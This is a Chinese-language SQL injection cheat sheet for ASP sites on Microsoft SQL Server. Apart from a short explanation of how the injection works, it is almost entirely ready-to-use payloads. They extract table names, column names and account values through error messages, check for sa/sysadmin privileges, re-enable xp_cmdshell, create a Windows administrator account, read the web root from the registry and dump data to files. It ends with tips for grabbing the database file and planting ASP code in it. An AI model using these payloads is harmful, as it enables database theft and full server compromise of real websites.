注入表达式类型: 'and 1='1
原理:ASP网站一般采用的SQL语句:strsql="select * from xx where xx='"&value&"'"
加上注入语句再解释到SQL则成为:select * from xx where xx='value' and 1='1'
无疑如果没有过滤注入的话,这会返回正常页面的,但如果改成
select * from xx where xx='value' and 'a'=0 and 1='1'
char值'a'不能转换成int值,sql将报错,并显示'a'不能转换为int值
如果把想要查询的字段值放在比较的地方,显示的就是那个字段值了。
'and (select top 1 name from sysobjects where type = 'u' )>1 and 1='1//表名
'and (select top 1 col_name(object_id('[account]',1)) from sysobjects) >1 and 1='1//字段名
'and (select name from syscolumns where colid=1 and id = (select id from sysobjects where type = 'u' and name = 'account')) >1 and 1='1//字段名
'and (select max(username) from account where username<'frank' )>1 and 1='1//字段值
' and is_srvrolemember('sysadmin')=1 and 1='1//是否为systemadmin
' and (select system_user)='sa' and 1='1//是否为sa
'and (select top 1 col_name(object_id('[account]',1)) from sysobjects) >1 and 1='1//字段名
'and (select name from syscolumns where colid=1 and id = (select id from sysobjects where type = 'u' and name = 'account')) >1 and 1='1//字段名
'and (select max(username) from account where username<'frank' )>1 and 1='1//字段值
' and is_srvrolemember('sysadmin')=1 and 1='1//是否为systemadmin
' and (select system_user)='sa' and 1='1//是否为sa
' and (select count (*) from master.dbo.sysobjects where xtype='x' and name = 'xp_cmdshell')=1 and 1='1//是否有xp_cmdshell
;EXECmaster.dbo.sp_add extended proc'xp_cmdshell','xplog70.dll'--//恢复xp_cmdshell
' ;exec master..xp_cmdshell "net user admin 123 /add "//增加用户
' ;exec master..xp_cmdshell "net user admin /delete "//删除用户
' ;exec master..xp_cmdshell "net localgroup administrators admin /add "//加入管理员组
' and (select @@version)>1 and 1='1 //显示数据库信息
HLM\system\controlset001\services\w3svc\parameters\virtualroots //web绝对路径
Exec master.dbo.xp_regread'HKEY_LOCAL_MACHINE','system\controlset001\services\w3svc\parameters\virtualroots','/',@result insert into xx values(@result) //将绝对路径导入临时表用以上方法得到路径
exec sp_makewebtask @outputfile='路径+文件名',@query='select xx from xx'将某个字段值导入一个文件
select count(*) from master.dbo.sysojects where name='sp_makewebtask/xp_regread //判断是否存在sp_makewebtask/xp_regread
www.xx.com/xx/xx.asp->www.xx.com/xx%5cxx.asp 把"\"改成%5c(utf8)得到数据库路径
mdb改成asp,也可以用网际快车下载,提交<%xx%>到数据库,该数据库页面就会执行该代码。